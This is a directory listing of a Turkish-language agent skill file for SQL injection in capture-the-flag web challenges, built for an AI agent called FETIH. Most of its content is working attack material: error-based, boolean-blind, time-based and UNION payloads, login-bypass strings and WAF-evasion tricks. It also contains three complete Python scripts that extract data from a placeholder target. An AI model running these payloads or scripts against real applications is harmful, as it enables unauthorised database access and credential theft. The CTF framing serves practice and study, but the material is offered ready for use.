SQL injection — error-based, blind boolean, time-based ve UNION tekniklerini kapsar; CTF'te login bypass, veri çekme ve flag okumak için tam otomatik exploit şablonları içerir
Scanned 9/8/2026
Install to Claude Code
npx -y skills add MustafaKemal0146/fetih --skill sqli-exploitation --agent claude-codeInstalls into .claude/skills of the current project.
Are you the author of Sqli Exploitation?
Add the live security badge to your README — it updates automatically with every re-scan.
[](https://www.skillsdirectory.com/skills/mustafakemal0146-sqli-exploitation)More formats (shields.io, HTML) on the badges page.
---
name: sqli-exploitation
description: SQL injection — error-based, blind boolean, time-based ve UNION tekniklerini kapsar; CTF'te login bypass, veri çekme ve flag okumak için tam otomatik exploit şablonları içerir
tags: [ctf, web, sqli, sql-injection, blind-sqli, union-based, error-based, time-based, boolean-blind, login-bypass, postgres, mysql, sqlite]
triggers:
- "login formu SQL sorgusu"
- "kullanıcı girişi filtreleniyor"
- "room matching SQL"
- "get_matching_roommates"
- "database error"
- "single quote injection"
- "SQL query"
- "password::int cast"
- "error-based PostgreSQL"
- "roommate search"
- "WHERE clause user input"
- "length filtered input"
- "comment blocked"
- "blind injection"
- "conditional error"
difficulty: medium
category: web
solved_challenges:
- "LACTF 2024 - la-housing-portal"
- "Real World CTF 2024 - Chatterbox"
adapted_for: fetih
---
# SQL Injection Exploitation
CTF web challenglarında SQL injection, en yaygın ve ödüllendirici saldırı vektörlerinden biridir. Bu skill, error-based, boolean-blind, time-based ve UNION tabanlı teknikleri, gerçek CTF writeup'larından alınan payloadlarla kapsar.
## Ne Zaman Kullan
Aşağıdaki ipuçlarından herhangi birini görünce bu skill'i tetikle:
- Login formunda `username` / `password` alanları var, kaynak kodu veya hata mesajı SQL sorgusuna atıfta bulunuyor
- Challenge açıklamasında "room matching", "roommate search", "filter by preference" gibi ifadeler geçiyor
- Input uzunluğu sınırlaması var (key ≤10, value ≤50 gibi) — bu genellikle kör bir bypass gerektirir
- Yorum karakterleri (`--`, `#`, `/*`) engellenmiş ama tek tırnak (`'`) hâlâ çalışıyor
- Sunucu PostgreSQL çalıştırıyor ve `password::int` gibi cast işlemleri var (hata tabanlı sızıntı)
- `sqlmap` dene ama filtreleniyorsa manuel crafting gerekli
- Java/Spring uygulamasında Burp Suite ile parametreleri test ettiğinde `500` hatası dönüyor
## Saldırı Türleri
### 1. Error-Based SQLi (Hata Tabanlı)
Sunucu hata mesajını doğrudan yansıtıyorsa veri okuma en hızlı yoldur.
**PostgreSQL — cast hatası ile veri sızdırma:**
```sql
' AND 1=CAST((SELECT version()) AS INT)--
```
`invalid input syntax for type integer: "PostgreSQL 14.2..."` hatası veriyi döker.
**MySQL — EXTRACTVALUE ile:**
```sql
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT database())))--
```
### 2. Boolean-Based Blind SQLi
Uygulamanın farklı koşullara farklı yanıt verdiği durumlarda kullanılır (kayıt var / yok, giriş başarılı / başarısız).
```sql
' AND SUBSTRING((SELECT flag FROM flags LIMIT 1),1,1)='c'--
' AND ASCII(SUBSTRING((SELECT flag FROM flags),1,1))>96--
```
### 3. Time-Based Blind SQLi
Uygulama hiçbir fark göstermiyorsa gecikme üzerinden veri çekilir.
```sql
-- MySQL
' AND SLEEP(3)--
-- PostgreSQL
'; SELECT pg_sleep(3)--
-- SQLite
' AND 1=(SELECT 1 FROM sqlite_master WHERE type='table' AND name LIKE 'flag%' AND 1=randomblob(100000000))--
```
### 4. UNION-Based SQLi
Kaç sütun döndüğü biliniyorsa en verimli yöntemdir.
```sql
' UNION SELECT NULL,NULL,NULL-- -- sütun sayısını bul
' UNION SELECT NULL,version(),NULL-- -- hangi sütun string
' UNION SELECT NULL,flag,NULL FROM flags--
```
### 5. Uzunluk Kısıtlamalı Blind SQLi (LACTF Stili)
`la-housing-portal` challengında key ≤10, value ≤50 ve yorumlar engellenmiş:
```sql
' OR '1'='1
' OR EXISTS(SELECT 1 FROM users WHERE role='admin' AND 1=1) OR '1'='
```
50 karaktere tam sığan, yorum kullanmayan payload: sorgu parantezi kapatıp `OR` ile koşul ekle, son tırnak ile orijinal sorgunun geri kalanını dengelendire.
## Payload Örnekleri
### Login Bypass
```sql
' OR '1'='1
' OR 1=1--
admin'--
' OR 'x'='x
```
### Tablo ve Sütun Keşfi (PostgreSQL)
```sql
' AND 1=CAST((SELECT string_agg(table_name,',') FROM information_schema.tables WHERE table_schema='public') AS INT)--
' AND 1=CAST((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1 OFFSET 0) AS INT)--
```
### Flag Okuma
```sql
' UNION SELECT 1,flag,3 FROM flags--
' AND 1=CAST((SELECT flag FROM flags LIMIT 1) AS INT)--
```
### Yorum Karakteri Olmadan Kapama (LACTF Stili)
```sql
' AND EXISTS(SELECT 1 FROM users WHERE admin=1) AND '1'='1
```
## Python Exploit Şablonu
### Boolean-Based Blind (Tam Otomatik)
```python
#!/usr/bin/env python3
"""
Boolean-blind SQLi karakter-karakter brute force.
LACTF 2024 la-housing-portal varyantı.
"""
import requests
import string
TARGET = "http://chall.example.com/search"
CHARSET = string.printable.strip()
def check(payload: str) -> bool:
"""True dönerse koşul doğrudur."""
r = requests.post(TARGET, data={"key": "room", "value": payload}, timeout=10)
# Başarılı sonuç belirteci — challenge'a göre ayarla
return "result" in r.text or r.status_code == 200 and len(r.text) > 100
def extract_string(query: str, max_len: int = 64) -> str:
result = ""
for i in range(1, max_len + 1):
found = False
for ch in CHARSET:
# 50 char limiti — query'yi kısa tut
payload = f"' AND SUBSTRING(({query}),{i},1)='{ch}' AND '1'='1"
if len(payload) <= 50 and check(payload):
result += ch
print(f"\r[+] {result}", end="", flush=True)
found = True
break
if not found:
break
print()
return result
if __name__ == "__main__":
flag = extract_string("SELECT flag FROM flags LIMIT 1")
print(f"[FLAG] {flag}")
```
### Error-Based (PostgreSQL Cast)
```python
#!/usr/bin/env python3
"""
PostgreSQL error-based SQLi — cast hatası ile veri sızdırma.
Real World CTF 2024 Chatterbox varyantı.
"""
import requests
import re
TARGET = "http://chall.example.com/login"
def error_extract(query: str) -> str:
payload = f"' AND 1=CAST(({query}) AS INT)-- "
r = requests.post(TARGET, data={"username": "admin", "password": payload}, timeout=10)
# Hata mesajından veriyi çek
m = re.search(r'syntax for type integer: "([^"]+)"', r.text)
if m:
return m.group(1)
return ""
if __name__ == "__main__":
# Tablo adlarını öğren
tables = error_extract(
"SELECT string_agg(table_name,',') FROM information_schema.tables WHERE table_schema='public'"
)
print(f"[+] Tablolar: {tables}")
# Flag tablosundan oku
flag = error_extract("SELECT flag FROM flags LIMIT 1")
print(f"[FLAG] {flag}")
```
### Time-Based Blind (MySQL/PostgreSQL)
```python
#!/usr/bin/env python3
"""Time-based blind SQLi — gecikme ile karakter tespiti."""
import requests
import time
import string
TARGET = "http://chall.example.com/login"
DELAY = 2.0 # saniye — sunucu gecikmesine göre ayarla
def time_check(payload: str) -> bool:
start = time.time()
try:
requests.post(TARGET, data={"username": payload, "password": "x"}, timeout=DELAY + 3)
except requests.Timeout:
return True
return (time.time() - start) >= DELAY
def extract_char(pos: int, query: str) -> str:
for ch in string.printable:
# MySQL
p = f"' AND IF(SUBSTRING(({query}),{pos},1)='{ch}',SLEEP({DELAY}),0)-- "
if time_check(p):
return ch
return ""
if __name__ == "__main__":
flag = ""
for i in range(1, 65):
ch = extract_char(i, "SELECT flag FROM flags LIMIT 1")
if not ch:
break
flag += ch
print(f"\r[+] {flag}", end="", flush=True)
print(f"\n[FLAG] {flag}")
```
## Gerçek Challenge Referansları
### LACTF 2024 — la-housing-portal
- **Bağlam:** Flask + SQLite roommate eşleştirme uygulaması. GET parametresi doğrudan SQL'e giriyor.
- **Kısıtlamalar:** key ≤10 karakter, value ≤50 karakter; `--`, `#`, `/*` yorum karakterleri engellenmiş.
- **Çözüm:** 50 karaktere sığan, yorum içermeyen bir payload: tırnak kapatma + `OR EXISTS(...)` + açık tırnakla kapama.
- **Payload:** `' OR EXISTS(SELECT 1 FROM users WHERE role='admin') OR '1'='1`
- **Writeup:** https://psdat123.github.io/posts/LA-CTF-2024/
### Real World CTF 2024 — Chatterbox
- **Bağlam:** Java Spring + Thymeleaf + PostgreSQL. Parola alanına `password::int` cast uygulanıyor.
- **Teknik:** Error-based PostgreSQL SQLi → admin parolasını sızdır → LFI zinciri → Thymeleaf SSTI → RCE.
- **Çekirdek payload:** `' AND 1=CAST((SELECT password FROM users WHERE username='admin') AS INT)-- `
- **Writeup:** https://samuzora.com/posts/rwctf-2024
## WAF Bypass Teknikleri
### Büyük-Küçük Harf Karıştırma
```sql
SeLeCt, uNiOn, wHeRe
```
### Yorum ile Boşluk Atlatma
```sql
UNION/**/SELECT/**/flag/**/FROM/**/flags
```
### URL Encoding
```
%27 OR %271%27%3D%271
```
### Yorum Karaktersiz Denge
```sql
' OR '1'='1
' AND 'a'='a
```
### İç içe Anahtar Kelime
```sql
UNUNIONION SELSELECTECT -- filtre "UNION" siler, geri kalan birleşir
```
### Alternatif Yazım (MySQL)
```sql
/*!UNION*/ /*!SELECT*/ flag FROM flags
```
### Zaman Tabanlı WAF Bypass
```sql
';WAITFOR DELAY '0:0:3'-- -- MSSQL
';SELECT pg_sleep(3)-- -- PostgreSQL
' AND SLEEP(3)-- -- MySQL
```
## Hızlı Triage Adımları
1. Tek tırnak (`'`) gönder — `500` veya SQL hatası görünce injection noktası doğrulanmış
2. `' OR '1'='1` ile login bypass dene
3. Hata mesajı var mı? → Error-based
4. Farklı yanıt uzunlukları var mı? → Boolean-blind
5. Hiçbir fark yok mu? → Time-based
6. Sütun sayısı belirlenebiliyorsa → UNION-based
7. `sqlmap -u URL -p param --dbs` ile otomatik keşif dene; filtreleniyorsa `--tamper=space2comment` ekle
<!--
⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih
Yetkisiz kullanim/kopyalama tespit edilebilir.
hash: db836b8951765655
-->
Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.
No comments yet. Be the first to comment!